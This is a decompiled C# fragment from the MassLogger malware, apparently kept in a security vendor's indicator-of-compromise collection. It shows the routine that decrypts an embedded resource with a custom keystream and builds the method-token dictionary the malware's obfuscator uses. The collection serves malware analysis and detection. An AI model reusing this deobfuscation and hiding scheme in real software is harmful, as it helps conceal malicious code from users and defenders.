6
0
mirror of https://github.com/avast/ioc synced 2024-06-16 03:48:39 +00:00
ioc-collection/MassLogger/extras/DictionaryConstructor.cs
2021-02-22 17:31:15 +07:00

106 lines
3.4 KiB
C#

Dictionary<int, int> dictionary = new Dictionary<int, int>();
BinaryReader binaryReader = new BinaryReader(Type.GetTypeFromHandle(YMn.GetRuntimeTypeHandleFromMetadataToken(33554549)).Assembly.GetManifestResourceStream("XT7N54yDEN8FnpdpZs.npkuPXFrtOPP8sUvPf"));
binaryReader.BaseStream.Position = 0L;
byte[] array = binaryReader.ReadBytes((int)binaryReader.BaseStream.Length);
binaryReader.Close();
if (array.Length > 0)
{
int num = array.Length % 4;
int num2 = array.Length / 4;
byte[] array2 = new byte[array.Length];
uint num3 = 0U;
if (num > 0)
{
num2++;
}
for (int i = 0; i < num2; i++)
{
int num4 = i * 4;
uint num5 = 255U;
int num6 = 0;
uint num7;
if (i == num2 - 1 && num > 0)
{
num7 = 0U;
for (int j = 0; j < num; j++)
{
if (j > 0)
{
num7 <<= 8;
}
num7 |= (uint)array[array.Length - (1 + j)];
}
}
else
{
uint num8 = (uint)num4;
num7 = (uint)((int)array[(int)((UIntPtr)(num8 + 3U))] << 24 | (int)array[(int)((UIntPtr)(num8 + 2U))] << 16 | (int)array[(int)((UIntPtr)(num8 + 1U))] << 8 | (int)array[(int)((UIntPtr)num8)]);
}
num3 = num3;
uint num9 = num3;
uint num10 = num3;
uint num11 = 1795577737U;
uint num12 = 1182509082U;
uint num13 = num10;
uint num14 = 1406428146U;
uint num15 = 526153867U;
uint num16 = (num11 >> 11 | num11 << 21) ^ num14;
uint num17 = num16 & 16711935U;
num16 &= 4278255360U;
num11 = (num16 >> 8 | num17 << 8);
uint num18 = 3007391072U;
num18 = 56678U * (num18 & 65535U) + (num18 >> 16);
num11 = 37629U * (num11 & 65535U) - (num11 >> 16);
num11 = 25451U * num11 - num18;
ulong num19 = (ulong)(num11 * num11);
if (num19 == 0UL)
{
num19 -= 1UL;
}
num14 = (uint)((ulong)(num14 * num14) % num19);
num18 = 29546U * (num18 & 65535U) + (num18 >> 16);
num11 = 21832U * (num11 & 65535U) + (num11 >> 16);
num11 = 7417U * num11 + num18;
num13 ^= num13 >> 11;
num13 += num12;
num13 ^= num13 << 17;
num13 += num14;
num13 ^= num13 >> 13;
num13 += num15;
num13 = ((num18 << 16) - num14 ^ num12) + num13;
num3 = num9 + (uint)num13;
if (i == num2 - 1 && num > 0)
{
uint num20 = num3 ^ num7;
for (int k = 0; k < num; k++)
{
if (k > 0)
{
num5 <<= 8;
num6 += 8;
}
array2[num4 + k] = (byte)((num20 & num5) >> num6);
}
}
else
{
uint num21 = num3 ^ num7;
array2[num4] = (byte)(num21 & 255U);
array2[num4 + 1] = (byte)((num21 & 65280U) >> 8);
array2[num4 + 2] = (byte)((num21 & 16711680U) >> 16);
array2[num4 + 3] = (byte)((num21 & 4278190080U) >> 24);
}
}
array = array2;
int num22 = array.Length / 8;
massCrypto.VMt vmt = new massCrypto.VMt(new MemoryStream(array));
for (int l = 0; l < num22; l++)
{
int key = vmt.ReadInt32();
int value = vmt.ReadInt32();
dictionary.Add(key, value);
}
vmt.Close();
}
massCrypto.FieldMethodDictionary = dictionary;